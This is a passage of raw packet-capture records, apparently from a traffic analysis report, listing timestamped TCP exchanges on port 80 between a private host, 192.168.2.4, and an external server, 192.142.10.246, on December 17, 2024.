                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.465904951 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.465922117 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.466676950 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.466694117 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.466728926 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.466741085 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.466774940 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.467437029 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.467454910 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.467473984 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.467566013 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.468121052 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.468138933 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.468157053 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.468167067 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.468205929 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.468908072 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.469002962 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.469037056 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.469141960 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.470299959 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.470318079 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.470336914 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.470355034 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.470391989 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.470510960 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.470567942 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.470586061 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.470619917 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.471307993 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.471362114 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.471380949 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.471399069 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.471431971 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.472080946 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.472172022 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.472189903 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.472238064 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.472934961 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.472975969 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.472985983 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.472994089 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.473033905 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.473735094 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.473776102 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.473793030 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.473962069 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.474528074 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.474577904 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.474622011 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.474647999 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.474683046 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.476948023 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.477010012 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.477071047 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.477088928 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.477122068 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.477139950 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.477147102 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.477170944 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.477174044 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.477405071 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.477437973 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.477456093 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.477457047 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.477483988 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.478058100 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.478130102 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.478149891 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.478188992 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.478914022 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.478984118 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.479013920 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.479032040 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.479079008 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.479806900 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.479840040 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.479888916 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.479888916 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.480743885 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.480762005 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.480779886 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.480822086 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.482111931 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.482140064 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.482173920 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.482177973 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.482196093 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.482213974 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.482230902 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.482253075 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.482276917 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.483001947 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.483042955 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.483083010 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.483094931 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.483760118 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.483798981 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.483802080 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.483819962 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.484005928 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.485503912 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.541189909 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.649616003 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.649647951 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.649707079 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.649724960 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.649760008 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.649780989 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.649813890 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.649876118 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.650358915 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.650482893 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.650501013 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.650621891 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.650819063 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.650887012 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.650911093 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.650929928 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.650974035 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.651396036 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.651421070 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.651439905 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.651482105 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.652237892 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.652256966 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.652276039 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.652307034 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.652338028 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.652971029 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.653023958 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.653043032 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.653146029 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.653831959 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.653873920 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.653907061 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.653933048 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.653990984 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.654644966 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.654740095 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.654772997 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.654809952 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.655437946 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.655518055 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.655550957 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.655576944 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.655605078 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.656224012 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.656663895 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.656697035 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.656722069 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.657135963 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.657193899 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.657195091 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.657213926 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.657258034 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.657846928 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.657941103 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.657974005 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.658004045 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.658647060 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.658699989 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.658704996 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.658718109 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.658818007 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.659511089 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.659590960 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.659609079 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.659651041 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.660373926 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.660435915 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.660473108 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.660514116 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.660609961 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.661109924 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.661150932 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.661170006 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.661271095 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.661874056 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.661950111 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.661983013 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.662014008 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.662069082 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.662887096 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.662977934 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.663012028 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.663043022 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.663599014 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.663641930 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.663676977 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.663707018 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.663729906 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.664391041 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.664408922 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.664446115 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.664472103 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.665136099 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.665231943 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.665265083 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.665339947 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.665914059 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.666028023 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.666044950 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.666111946 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.666757107 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.666810036 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.666815996 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.666827917 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.666903019 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.667515993 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.667588949 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.667623043 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.667665958 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.668348074 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.668910980 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.668971062 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.669004917 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.669043064 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.669466019 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.669523001 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.669562101 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.669610023 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.669632912 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.670226097 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.670288086 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.670314074 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.670355082 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.671021938 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.671040058 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.671076059 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.671128988 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.671158075 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.671857119 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.671907902 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.671925068 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.671963930 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.672784090 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.672792912 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.672807932 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.672853947 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.673463106 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.673510075 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.673527956 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.673577070 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.674243927 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.674312115 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.674320936 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.674346924 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.674386978 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.675163984 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.675215006 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.675224066 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.675308943 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.675898075 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.675915003 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.675921917 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.675961018 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.675990105 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.676711082 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.728802919 CET4974880192.168.2.4192.142.10.246
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.842561960 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.842585087 CET8049748192.142.10.246192.168.2.4
                                                                                                                                                                                                                                                                        Dec 17, 2024 18:53:00.842607021 CET8049748192.142.10.246192.168.2.4
